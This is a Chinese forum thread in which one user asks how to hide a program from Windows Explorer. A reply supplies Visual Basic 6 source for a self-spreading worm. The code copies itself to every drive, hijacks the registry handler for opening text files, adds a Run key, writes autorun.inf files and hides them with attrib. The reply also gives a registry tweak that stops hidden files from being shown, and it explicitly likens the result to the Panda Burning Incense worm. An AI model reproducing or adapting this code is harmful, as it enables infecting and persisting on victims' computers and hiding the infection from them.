我就是不知道怎么让程序在资源管理器中看不见。哪个大哥公布一下代码啊。


Option Explicit
Const hkey_current_user = &H80000001
Const hkey_local_machine = &H80000002
Private Declare Function OSRegCreateKey Lib "advapi32" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpszSubKey As String, phkResult As Long) As Long
Const reg_sz = 1
Const reg_expand_sz = 2
Private Declare Function OSRegSetValueEx Lib "advapi32" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpszValueName As String, ByVal dwReserved As Long, ByVal fdwType As Long, lpbData As Any, ByVal cbData As Long) As Long
Private Declare Function ShellExecute Lib "Shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long

Private Sub Form_Load()
On Error Resume Next
Dim a As Long, b As String, c As String, benshen
benshen = App.Path + App.EXEName + ".exe"
For a = 2 To 9
b = Chr(65 + a) + ":"
c = b + "\system.exe"
FileCopy benshen, c

retu = OSRegCreateKey(hkey_local_machine, "software\classes\txtfile\shell\open\command", hKey)
retu = OSRegSetValueEx(hKey, "", 0&, reg_expand_sz, ByVal c, Len(c) + 1)
retu = OSRegCreateKey(hkey_current_user, "software\microsoft\windows\currentversion\run", hkey1)
retu = OSRegSetValueEx(hkey1, "text1", 0&, reg_sz, ByVal c, Len(c) + 1)

Open b + "\autorun.inf" For Output As #1
Print #1, "[autorun]"
Print #1, "open=system.exe"
Print #1, "shellexecute = system.exe"
Print #1, "Shell\Auto\Command = system.exe"
Close #1
Next
Shell "attrib +h c:\autorun.inf"
Shell "attrib +h c:\system.exe"
Shell "attrib +h d:\autorun.inf"
Shell "attrib +h d:\autorun.inf"
Shell "attrib +h e:\autorun.inf"
Shell "attrib +h e:\autorun.inf"
Shell "attrib +h f:\autorun.inf"
Shell "attrib +h f:\autorun.inf"
Shell "attrib +h h:\autorun.inf"
Shell "attrib +h h:\autorun.inf"
Shell "attrib +h i:\autorun.inf"
Shell "attrib +h i:\autorun.inf"

End Sub

你把资源管理器查看隐藏文件关掉
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advan ced\Folder\Hidden\SHOWALL，将右窗的双字节项值CheckedValue改为0即可。
这样，你的蠕虫在管理器里就看不到了，就像熊猫烧香似的。

感谢大哥回我的贴啊。小弟受益非浅。 不知大哥能否留个QQ，日后好向你请教。